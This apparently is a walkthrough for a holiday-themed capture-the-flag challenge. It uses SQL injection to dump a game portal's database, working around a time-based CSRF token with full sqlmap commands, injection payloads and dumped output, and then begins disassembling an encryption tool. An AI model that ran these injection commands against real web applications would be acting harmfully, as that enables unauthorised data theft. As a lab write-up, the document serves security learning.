244 Submitting lots of entries until we win the contest! Entry #79
245 Submitting lots of entries until we win the contest! Entry #80
246 Submitting lots of entries until we win the contest! Entry #81
247 Submitting lots of entries until we win the contest! Entry #82
248 Submitting lots of entries until we win the contest! Entry #83
249 Submitting lots of entries until we win the contest! Entry #84
250 Submitting lots of entries until we win the contest! Entry #85
251 Submitting lots of entries until we win the contest! Entry #86
252 Submitting lots of entries until we win the contest! Entry #87
253 Submitting lots of entries until we win the contest! Entry #88
254 Submitting lots of entries until we win the contest! Entry #89
255 Submitting lots of entries until we win the contest! Entry #90
256 Submitting lots of entries until we win the contest! Entry #91
257 Submitting lots of entries until we win the contest! Entry #92
258 Submitting lots of entries until we win the contest! Entry #93
259 Submitting lots of entries until we win the contest! Entry #94
260 Submitting lots of entries until we win the contest! Entry #95
261 Submitting lots of entries until we win the contest! Entry #96
262 Submitting lots of entries until we win the contest! Entry #97
263 Submitting lots of entries until we win the contest! Entry #98
264 Submitting lots of entries until we win the contest! Entry #99
265 Submitting lots of entries until we win the contest! Entry #100
266 Submitting lots of entries until we win the contest! Entry #101
267 {"data":{"h2_id":"result_header"},"Entries for email address [REDACTED] no longer accepted as our systems show your email was already randomly selected as a winner!
Go check your email to get your winning code. Please allow up to 3-5 minutes for the email to arrive in your inbox or check your spam filter settings. <br><br> Congratulations
and Happy Holidays!</h2>"},"request":true}
268
269
270 (base) C:\working>
```

Checking my email showed I received the successful completion email:



The answer to Objective 8 needed for the badge question is the string: **8Ia8LiZEwvyZr2WO**



After submitting Objective 8 in your badge, talk again with Krampus Hollyfeld in the Steam Tunnels to get dialog on Objective 9 and unlock the Steam Tunnel Teleportation System!

Objective 9 – Retrieve Scraps of Paper from Server

This Objective is introduced when we speak again to Krampus in the Steam Tunnels after completing Objective 8. Krampus tells us that he borrowed the turtle doves and used them to retrieve scraps of paper that were near the fireplace. For this Objective, we need to hack into the Student Portal server (<https://studentportal.elfu.org/>) and retrieve the scraps of paper that Krampus scanned and stored on this server.

Krampus Hollyfeld

Yes, I borrowed Santa's turtle doves for just a bit.

Someone left some scraps of paper near that fireplace, which is a big fire hazard.

I sent the turtle doves to fetch the paper scraps.

...

As for those scraps of paper, I scanned those and put the images on my server.

I then threw the paper away.

Unfortunately, I managed to lock out my account on the server.

Hey! You've got some great skills. Would you please hack into my system and retrieve the scans?


I give you permission to hack into it, solving Objective 9 in your badge.

Just navigating the student portal in a browser and through Burp shows that there are 6 main php pages:

- index.php
- students.php
- apply.php
- check.php
- validator.php
- application-received.php

Doing a simple SQLi check by inserting a single quote (') in all the form fields for apply.php and check.php result in the following web page, so it's a good indication that SQLi may be possible:

```
"Error: INSERT INTO applications (name, elfmail, program, phone, whyme, essay, status) VALUES ('', 'test@test.com', '', '', '', '', 'pending') You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'test@test.com', '', '', '', '', 'pending'" at line 2"
```



The basic form-submit logic flow for the two forms is the following and notice that both forms end up in the same final POST to application-received.php:

- apply.php --> validator.php --> apply.php --> application-received.php
- check.php --> validator.php --> check.php --> application-received.php

However, just firing sqlmap at <https://studentportal.elfu.org/application-received.php> results in failure. Let's see why.

Both apply.php and check.php have the following two JavaScript functions and form onSubmit events:

```
function submitApplication() {  
    console.log("Submitting");  
    elfSign();  
    document.getElementById("apply").submit();  
}  
  
function elfSign() {  
    var s = document.getElementById("token");  
    const Http = new XMLHttpRequest();  
    const url='/validator.php';
```



```

Http.open("GET", url, false);
Http.send(null);

if (Http.status === 200) {
    console.log(Http.responseText);
    s.value = Http.responseText;
}
}

```

```

<form id="apply" action="/application-received.php" method="post" class="form-signin mb-5" onSubmit="submitApplication()">

```

When you click the "Submit Application" button on the form, the `onSubmit` event fires calling its local `submitApplication()` JavaScript function (before taking the POST action to `application-received.php`), and the `submitApplication()` function then calls the `elfSign()` function.

The `elfSign()` function then gets a handle to the `"token"` parameter in the DOM and assigns that to variable `"s"`. Then the function makes a GET request to `validator.php`. If the response code is 200 OK, it saves the response from `validator.php` into the `"s.value"` which is a reference to the `"token"` parameter value.

Whatever response comes back from a successful call to `validator.php`, this function will update the `"token"` parameter value with that response data. `validator.php` generates a dynamic time-based CSRF token which must be passed along and must still be valid when the final POST is made to `application-received.php`. Any direct POSTs to `application-received.php` without first retrieving a valid token value from `validator.php`, will result in an "Invalid or expired token!" error message in the response and prevents a valid POST and SQLi exploitation.

Once a valid token is retrieved from `validator.php` and assigned to the `"token"` parameter, the `elfSign()` function exits returning control to the `submitApplication()` function, and then `document.getElementById("apply").submit()` executes which triggers the POST action to `application-received.php`.

The form submission flow looks like this in Burp:

Initial GET request to apply.php

The screenshot shows the Burp Suite HTTP history tab. The filter is set to 'Matching expression studentportal.elfu.org'. The table lists three requests:

#	Host	Method	URL	Params	Edited	Status	Length	MIME type	Extension	Title	Comment	TLS	IP	Cookies
100255	https://studentportal.elfu.org	GET	/apply.php			200	9408	HTML	php	Merry Christmas		✓	35.223.33.67	
100259	https://studentportal.elfu.org	GET	/validator.php			200	538	script	php			✓	35.223.33.67	
100260	https://studentportal.elfu.org	POST	/application-received.php		✓	200	3178	HTML	php	Elf University		✓	35.223.33.67	

The 'Request' tab for the first request (100255) is selected, showing the raw HTTP request:

```

GET /apply.php HTTP/1.1
Host: studentportal.elfu.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://studentportal.elfu.org/
Upgrade-Insecure-Requests: 1

```

GET response for apply.php showing JavaScript functions

The screenshot shows the Burp Suite HTTP history tab. The filter is set to 'Matching expression studentportal.elfu.org'. The table lists three requests:

#	Host	Method	URL
100255	https://studentportal.elfu.org	GET	/apply.php
100259	https://studentportal.elfu.org	GET	/validator.php
100260	https://studentportal.elfu.org	POST	/application-received.php

The 'Response' tab for the first request (100255) is selected, showing the raw HTTP response:

```

<script>
function submitApplication() {
    console.log("Submitting");
    elfSign();
    document.getElementById("apply").submit();
}
function elfSign() {
    var s = document.getElementById("token");

    const Http = new XMLHttpRequest();
    const url = '/validator.php';
    Http.open("GET", url, false);
    Http.send(null);

    if (Http.status === 200) {
        console.log(Http.responseText);
        s.value = Http.responseText;
    }
}
</script>

```

Response from validator.php showing the dynamically generated time-based CSRF token:

Filter: Matching expression studentportal.eifu.org

#	Host	Method	URL	Params	Edited	Status	Length	MIME type	Extension	Title	Comment	TLS	IP	Cookies
100255	https://studentportal.eifu.org	GET	/apply.php			200	9408	HTML	php	Merry Christmas		✓	35.223.33.67	
100259	https://studentportal.eifu.org	GET	/validator.php			200	538	script	php			✓	35.223.33.67	
100260	https://studentportal.eifu.org	POST	/application-received.php		✓	200	3178	HTML	php	Eiff University		✓	35.223.33.67	

Request Response

Raw Headers Hex Render

Content-Type: text/html; charset=UTF-8
 Content-Length: 85
 Connection: close
 X-Powered-By: PHP/7.2.1
 Vary: Accept-Encoding
 Strict-Transport-Security: max-age=15552000; includeSubDomains
 X-Content-Type-Options: nosniff
 X-Frame-Options: SAMEORIGIN
 X-XSS-Protection: 1; mode=block
 X-Robots-Tag: none
 X-Download-Options: noopen
 X-Permitted-Cross-Domain-Policies: none

HTAxMDhMTzE0QWNTU3ODUSNTY4NTZwNTA2NDYyYy44NA==_NT1SMzE4NTU4NTE1MjA2MjYyOTYyLjg4

0 matches

POST Request to application-received.php containing the validator.php retrieved token:

Filter: Matching expression studentportal.eifu.org

#	Host	Method	URL	Params	Edited	Status	Length	MIME type	Extension	Title	Comment	TLS	IP	Cookies
100255	https://studentportal.eifu.org	GET	/apply.php			200	9408	HTML	php	Merry Christmas		✓	35.223.33.67	
100259	https://studentportal.eifu.org	GET	/validator.php			200	538	script	php			✓	35.223.33.67	
100260	https://studentportal.eifu.org	POST	/application-received.php		✓	200	3178	HTML	php	Eiff University		✓	35.223.33.67	

Request Response

Raw Params Headers Hex

POST /application-received.php HTTP/1.1
 Host: studentportal.eifu.org
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 191
 Origin: https://studentportal.eifu.org
 Connection: close
 Referer: https://studentportal.eifu.org/apply.php
 Upgrade-Insecure-Requests: 1

name=fname&email=email1140n@where.net&program=course&phone=444-4444&whyme=describ&essay=essay&token=HTAxMDhMTzE0QWNTU3ODUSNTY4NTZwNTA2NDYyYy44NA==_NT1SMzE4NTU4NTE1MjA2MjYyOTYyLjg4

0 matches

POST Response from application-received.php showing a success response:

Filter: Matching expression studentportal.eifu.org

#	Host	Method	URL	Params	Edited	Status	Length	MIME type	Extension	Title	Comment	TLS	IP	Cookies
100255	https://studentportal.eifu.org	GET	/apply.php			200	9408	HTML	php	Merry Christmas		✓	35.223.33.67	
100259	https://studentportal.eifu.org	GET	/validator.php			200	538	script	php			✓	35.223.33.67	
100260	https://studentportal.eifu.org	POST	/application-received.php		✓	200	3178	HTML	php	Eiff University		✓	35.223.33.67	

Request Response

Raw Headers Hex HTML Render

</header>

<!-- Begin page content -->

<main role="main" class="main-container">

<div class="coverbanner vh-100">

<div class="background-img dark-img" style="background-image: url(img/topbanner.jpg);"></div>

<div class="container">

<p class="lead text-white mb-4">

Hooray! Your application has been received! </p>

</div>

</main>

<!-- Optional JavaScript -->

<!-- jQuery first, then Popper.js, then Bootstrap JS -->

0 matches

Circling back to do some analysis on the tokens returned by validator.php, it appears to be constructed from two time-based values which have been base64 encoded and delimited with an underscore character. Shown in the screenshot below is output from a quick prototype script I wrote (validator-test.py - included in the Appendix) that retrieves 30 consecutive tokens, with a 1 second sleep between each request, prints each one followed by each half of the token base64 decoded so we can see the actual values represented there.

To left of the blue line is the original token as returned by validator.php and to the right of the blue line are the two halves of the token base64 decoded (space delimited). The first decoded value appears to be an incrementing time-based value which is a concatenation of 3 values (separated by red lines): a time-based value incrementing in fractions of a second, the Unix Epoch time, and then the third value is identical to the first but preserving the decimal. The second decoded value also appears to be an incrementing time-based value and the increments seem to follow a 2-2-2-2-4 second increment for every 1 second, however the fractions of a second component makes this very difficult to predict and construct a valid token independently.

sqlmap setup

sqlmap command line

```
python3 ./sqlmap.py -u https://studentportal.elfu.org/application-received.php --
referer="https://studentportal.elfu.org/apply.php" --headers="Host: studentportal.elfu.org\nUser-Agent: Mozilla/5.0
(X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding:
gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nConnection: close\nUpgrade-Insecure-Requests: 1\n"
--method=POST --data="token=REPLACE&name=test&elfmail=test%40test.com&program=test&phone=444-
4444&whyme=Test&essay=Test" -p name --level=5 --risk=3 --proxy="http://127.0.0.1:8081" --dbms mysql --user-
agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --skip-urlencode
```

I setup sqlmap to proxy all requests to 127.0.0.1:8081 which is the mitmdump listener, use POST method, target the name parameter, target a mysql database, I set custom headers and user-agent, and increased level and risk values.

```
[09:24:31] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[09:25:12] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[09:25:54] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[09:26:35] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[09:27:17] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[09:27:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[09:28:19] [INFO] POST parameter 'name' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[09:28:19] [INFO] testing 'MySQL inline queries'
[09:28:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[09:28:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[09:28:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[09:28:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[09:28:20] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[09:28:20] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[09:28:20] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:28:32] [INFO] POST parameter 'name' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[09:28:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:28:32] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[09:28:32] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[09:28:32] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[09:28:32] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[09:28:32] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[09:28:32] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[09:28:32] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
```

Once the injectable parameter is verified with the specific technique as shown in the screenshot above, the next sqlmap run will attempt to enumerate the databases (--dbs)

```
:/opt/sqlmap-dev# python3 ./sqlmap.py -u https://studentportal.elfu.org/application-received.php --referer="https://studentportal.elfu.org/apply.p
hp" --headers="Host: studentportal.elfu.org\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept: text/html,application/x
html+xml,application/xhtml+xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nCo
nnection: close\nUpgrade-Insecure-Requests: 1\n" --method=POST --data="token=REPLACE&name=test&elfmail=test%40test.com&program=test&phone=444-4444&whyme=Test&
essay=Test" -p name --level=5 --risk=3 --proxy="http://127.0.0.1:8081" --dbms mysql --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Fire
fox/68.0" --skip-urlencode --dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicabl
e local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:45:03 /2019-12-20/

[09:45:04] [INFO] testing connection to the target URL
[09:45:04] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: token=REPLACE&name=test'|(SELECT 0x45746a4b WHERE 7221=7221 AND (SELECT 5238 FROM(SELECT COUNT(*),CONCAT(0x7171787171,(SELECT (ELT(5238=5238,1))
),0x71766a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)|'|'&elfmail=test@test.com&program=test&phone=444-4444&whyme=Test&essay=Test
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: token=REPLACE&name=test'|(SELECT 0x43736a6c WHERE 9877=9877 AND (SELECT 4169 FROM (SELECT(SLEEP(5)))ZSyM)|'|'&elfmail=test@test.com&program=test
&phone=444-4444&whyme=Test&essay=Test
---
[09:45:04] [INFO] testing MySQL
[09:45:05] [INFO] confirming MySQL
[09:45:05] [WARNING] reflective value(s) found and filtering out
[09:45:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[09:45:05] [INFO] fetching database names
[09:45:05] [INFO] used SQL query returns 2 entries
[09:45:05] [INFO] resumed: 'elfu'
[09:45:05] [INFO] resumed: 'information_schema'
available databases [2]:
[*] elfu
[*] information_schema

[09:45:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/studentportal.elfu.org'

[*] ending @ 09:45:05 /2019-12-20/
```


sqlmap returns two databases (elfu and information_schema). The next run targets to enumerate the tables in the elfu database (-D elfu --tables)

```
:/opt/sqlmap-dev# python3 ./sqlmap.py -u https://studentportal.elfu.org/application-received.php --referer="https://studentportal.elfu.org/apply.p
hp" --headers="Host: studentportal.elfu.org\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept: text/html,application/x
html+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nCo
nnection: close\nUpgrade-Insecure-Requests: 1\n" --method=POST --data="token=REPLACE&name=test&elfmail=test%40test.com&program=test&phone=444-4444&whyme=Test&
essay=Test" -p name --level=5 --risk=3 --proxy="http://127.0.0.1:8081" --dbms mysql --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Fire
fox/68.0" --skip-urllencode -D elfu --tables

[1.3.12.34#dev]
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicabl
e local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:46:14 /2019-12-20/

[09:46:14] [INFO] testing connection to the target URL
[09:46:15] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: token=REPLACE&name=test'||(SELECT 0x45746a6b WHERE 7221=7221 AND (SELECT 5238 FROM(SELECT COUNT(*),CONCAT(0x7171787171,(SELECT (ELT(5238=5238,1))
),0x71766a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&elfmail=test@test.com&program=test&phone=444-4444&whyme=Test&essay=Test
...
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: token=REPLACE&name=test'||(SELECT 0x43736a6c WHERE 9877=9877 AND (SELECT 4169 FROM (SELECT(SLEEP(5)))ZSyM))||'&elfmail=test@test.com&program=test
&phone=444-4444&whyme=Test&essay=Test
...
[09:46:15] [INFO] testing MySQL
[09:46:15] [INFO] confirming MySQL
[09:46:16] [WARNING] reflective value(s) found and filtering out
[09:46:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[09:46:16] [INFO] fetching tables for database: 'elfu'
[09:46:17] [INFO] used SQL query returns 3 entries
[09:46:18] [INFO] retrieved: 'applications'
[09:46:19] [INFO] retrieved: 'krampus'
[09:46:20] [INFO] retrieved: 'students'
Database: elfu
[3 tables]
+-----+
| applications |
| krampus      |
| students     |
+-----+

[09:46:20] [INFO] fetched data logged to text files under '/root/.sqlmap/output/studentportal.elfu.org'

[*] ending @ 09:46:20 /2019-12-20/
```


I enumerate "applications" and "students" tables as well, but the important data is in the "krampus" table, which is enumerated below:

```
[09:49:57] [INFO] table 'elfu.applications' dumped to CSV file '/root/.sqlmap/output/studentportal.elfu.org/dump/elfu/applications.csv'
[09:49:57] [INFO] fetching columns for table 'krampus' in database 'elfu'
[09:49:58] [INFO] used SQL query returns 2 entries
[09:49:59] [INFO] retrieved: 'id'
[09:50:00] [INFO] retrieved: 'int(11)'
[09:50:01] [INFO] retrieved: 'path'
[09:50:01] [INFO] retrieved: 'varchar(30)'
[09:50:01] [INFO] fetching entries for table 'krampus' in database 'elfu'
[09:50:02] [INFO] used SQL query returns 6 entries
[09:50:03] [INFO] retrieved: '/krampus/0f5f510e.png'
[09:50:04] [INFO] retrieved: '1'
[09:50:05] [INFO] retrieved: '/krampus/1cc7e121.png'
[09:50:05] [INFO] retrieved: '2'
[09:50:06] [INFO] retrieved: '/krampus/439f15e6.png'
[09:50:07] [INFO] retrieved: '3'
[09:50:08] [INFO] retrieved: '/krampus/667d6896.png'
[09:50:09] [INFO] retrieved: '4'
[09:50:09] [INFO] retrieved: '/krampus/adb798ca.png'
[09:50:10] [INFO] retrieved: '5'
[09:50:11] [INFO] retrieved: '/krampus/ba417715.png'
[09:50:12] [INFO] retrieved: '6'
Database: elfu
Table: krampus
[6 entries]
+-----+
| id | path |
+-----+
| 1 | /krampus/0f5f510e.png |
| 2 | /krampus/1cc7e121.png |
| 3 | /krampus/439f15e6.png |
| 4 | /krampus/667d6896.png |
| 5 | /krampus/adb798ca.png |
| 6 | /krampus/ba417715.png |
+-----+
```


Those 6 .png files indicated in the *krampus* table can be downloaded directly from the student portal web site:

<https://studentportal.elfu.org/krampus/0f5f510e.png>
<https://studentportal.elfu.org/krampus/1cc7e121.png>
<https://studentportal.elfu.org/krampus/439f15e6.png>
<https://studentportal.elfu.org/krampus/667d6896.png>
<https://studentportal.elfu.org/krampus/adb798ca.png>
<https://studentportal.elfu.org/krampus/ba417715.png>


btw, visiting the root URI, <https://studentportal.elfu.org/krampus/> displays this page:




Below are each of the six .png scraps:




0f5f510e.png




1cc7e121.png



439f15e6.png



667d6896.png




adb798ca.png



ba417715.png

Using GIMP layers, I combined each of the fragments into one image. Unfortunately, one piece is missing which might have revealed who wrote this letter. Maybe that piece burned up in the fireplace before the turtle doves got to it? Looking at the background image, hmm could that be an apple... or maybe a tooth?!?



The letter has a similar tone and feel as the redacted threatening letter we found in Objective 2. The text from this letter is transcribed below:

From the Desk of

Date: August 23, 20

Memo to Self:

Finally! I've figured out how to destroy Christmas! Santa has a brand new, cutting edge sleigh guidance technology, called the Super Sled-o-matic.

I've figured out a way to poison the data going into the system so that it will divert Santa's sled on Christmas Eve!

Santa will be unable to make the trip and the holiday season will be destroyed! Santa's own technology will undermine him!

That's what they deserve for not listening to my suggestions for supporting other holiday characters!

Bwahahahahaha!

The relevant part needed to answer this objective is:

Super Sled-o-matic.

The answer to Objective 9 needed for the badge question is the string: **Super Sled-o-matic**

✓ 9) Retrieve Scraps of Paper from Server

Difficulty: ■■■■▲

Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system? *For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.*

✓ 9) Retrieve Scraps of Paper from Server

Difficulty: ■■■■▲

Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system? *For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.*

Congratulations! You have completed the Retrieve Scraps of Paper from Server challenge!

After submitting Objective 9 in your badge, talk again with Krampus Hollyfeld in the Steam Tunnels to get dialog on Objective 10.

Objective 10 – Recover Cleartext Document

This Objective is introduced when we speak again to Krampus in the Steam Tunnels after completing Objective 9. For this Objective, we need to decrypt an encrypted document that Krampus found.

Krampus Hollyfeld

I managed to find this protected document on one of the compromised machines in our environment.

I think our attacker was in the process of exfiltrating it.

I'm convinced that it is somehow associated with the plan to destroy the holidays. Can you decrypt it?

In the badge description, we're given the following:

1. A link to the Elfscrow Crypto tool (<https://downloads.elfu.org/elfscrow.exe>)
2. Link to debug symbols for this tool (<https://downloads.elfu.org/elfscrow.pdb>)
3. Link to the encrypted document (<https://downloads.elfu.org/ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc>)
4. Datetime range the document was encrypted: **December 6, 2019, between 7pm and 9pm UTC**

Excellent help is available in one of the KringleCon 2019 talks called "Reversing Crypto the Easy Way" given by Ron Bowes in Track 3 in Hermey Hall or can be viewed directly at this link: <https://www.youtube.com/watch?v=obJdpKDPFBA>

Like before, there are many tools and methods that could be used to do this analysis. The strategy I decided to follow was to use IDA and Immunity Debugger to do the reverse engineering and debug the executable to figure out how it works and hopefully find a flaw I can exploit.

First I did a few brief runs of the program itself from the command line just to see how it operates. I see now where the program gets its name since it escrows the encryption key online to <https://elfscrow.elfu.org/api/store>



```
Command Prompt
C:\working>elfscrow.exe
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

* WARNING: You're reading from stdin. That only partially works, use at your own risk!
** Please pick --encrypt or --decrypt!
Are you encrypting a file? Try --encrypt! For example:
elfscrow.exe --encrypt <infile> <outfile>

You'll be given a secret ID. Keep it safe! The only way to get the file
back is to use that secret ID to decrypt it, like this:
elfscrow.exe --decrypt --id<secret_id> <infile> <outfile>

You can optionally pass --insecure to use unencrypted HTTP. But if you
do that, you'll be vulnerable to packet sniffers such as Wireshark that
could potentially snoop on your traffic to figure out what's going on!

C:\working>elfscrow.exe --encrypt test.pdf test.pdf.enc
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!




















Our miniature elves are putting together random bits for your secret key!
Seed = 1578632444
Generated an encryption key: 251629B184B84592 (length: 8)
Elfscrowing your key...
Elfscrowing the key to: elfscrow.elfu.org/api/store
Your secret_id is baba257f-74a3-4481-85a8-fc022af88a09 - Santa Says, don't share that key with anybody!
File successfully encrypted!

+-----+
|      ELF-SCROW      |
|                      |
| 0                    |
| (0)-                |
|                      |
+-----+
```

Very interesting item here is the encryption key: 25 16 29 B1 84 B8 45 92

This is an 8-byte key, indicating **DES encryption** is very likely.

Then opening the elfscrow.exe in IDA and loading the pdb file with debug symbols, we can see the following functions:

	do_decrypt(int,char *,char *,char *)	.text	00402A00
	do_encrypt(int,char *,char *)	.text	004026D0
	fatal_error(char *)	.text	00401CC0
	from_hex(char * const,uchar * const)	.text	00401ED0
	generate_key(uchar * const)	.text	00401DF0
	getopt_long_only(int,char ** const,char const *,op...	.text	00401C90
	pre_c_init	.text	00403716
	pre_cpp_init	.text	00403555
	print_hex(char *,uchar *,uint)	.text	00402540
	read_file(char *,ulong *)	.text	004025C0
	retrieve_key(int,uchar * const,char *)	.text	00402220
	store_key(int,uchar * const)	.text	00401F20
	super_secure_random(void)	.text	00401DC0
	super_secure_srand(int)	.text	00401D90
	terminate(void)	.text	00403D14
	time	.text	00401E60
	to_hex(uchar * const,char * const)	.text	00401E80
	usage(char *)	.text	00402D80
	write_file(char *,uchar *,uint)	.text	00402660

The functions that stand out as interesting for analysis are:

- do_encrypt ()
- do_decrypt ()
- generate_key ()
- super_secure_random ()
- super_secure_srand ()
- time ()

Taking a look at the disassembly of do_encrypt ():

```

; Attributes: bp-based frame
; void __cdecl do_encrypt(int insecure, char *in_file, char *out_file)
?do_encrypt@@YAXHPAD0@Z proc near

data= dword ptr -30h
keyBlob= DESKEYBLOB ptr -2Ch
key= byte ptr -18h
var_10= dword ptr -10h
hProv= dword ptr -0Ch
hKey= dword ptr -8
data_len= dword ptr -4
insecure= dword ptr 8
in_file= dword ptr 0Ch
out_file= dword ptr 10h

push    ebp
mov     ebp, esp
sub     esp, 30h
mov     eax, __security_cookie
xor     eax, ebp
mov     [ebp+var_10], eax
lea     eax, [ebp+data_len]
push    eax                ; len
mov     ecx, [ebp+in_file]
push    ecx                ; filename
call    ?read_file@@YAPAEPADPAK@Z ; read_file(char *,ulong *)
add     esp, 8
mov     [ebp+data], eax
mov     edx, [ebp+data_len]
add     edx, 10h
push    edx                ; NewSize
mov     eax, [ebp+data]
push    eax                ; Memory
call    ds: __imp__realloc
add     esp, 8
mov     [ebp+data], eax
push    0F000000h          ; dwFlags
push    1                  ; dwProvType
push    offset szProvider   ; "Microsoft Enhanced Cryptographic Provid"...
push    0                  ; szContainer
lea     ecx, [ebp+hProv]
push    ecx                ; phProv
call    ds: __imp__CryptAcquireContextA@20 ; CryptAcquireContextA(x,x,x,x,x)
test    eax, eax
jnz     short loc_402733

```

The interesting items above, we see where the plaintext file is read in using `read_file()` and the call to `CryptAcquireContextA()`.

Taking a closer look, these instructions push parameters on to the stack followed by the call to `CryptAcquireContextA()`.

```
0270A      push    0F000000h      ; dwFlags
0270F      push    1                ; dwProvType
02711      push    offset szProvider ; "Microsoft Enhanced Cryptographic Provid"...
02716      push    0                ; szContainer
02718      lea     ecx, [ebp+hProv]
0271B      push    ecx                ; phProv
0271C      call    ds: __imp__CryptAcquireContextA@20 ; CryptAcquireContextA(x,x,x,x,x)
```

The `CryptAcquireContextA()` function call and its parameters are defined by Microsoft in the following links:

<https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta>

<https://docs.microsoft.com/en-us/windows/win32/seccrypto/cryptographic-provider-names>

<https://docs.microsoft.com/en-us/windows/win32/seccrypto/microsoft-enhanced-cryptographic-provider>

<https://docs.microsoft.com/en-us/windows/win32/seccrypto/cryptographic-provider-types>

The article warns this function is deprecated:

CryptAcquireContextA function

12/04/2018 • 12 minutes to read

Important This API is deprecated. New and existing software should start using Cryptography Next Generation APIs. Microsoft may remove this API in future releases.

The `szProvider` parameter indicates it's using: **Microsoft Enhanced Cryptographic Provider v1.0**

Note: this provider supports multiple ciphers including legacy ciphers like DES

Continuing further in the `do_encrypt()`:

```
push    ecx                ; phProv
call     ds: __imp__CryptAcquireContextA@20 ; CryptAcquireContextA(x,x,x,x,x)
test     eax, eax
jnz      short loc_402733
```

```
push    offset aCryptacquireco ; "CryptAcquireContext Failed"
call     ?fatal_error@@YAXPAD@Z ; Fatal_error(char *)
```

```
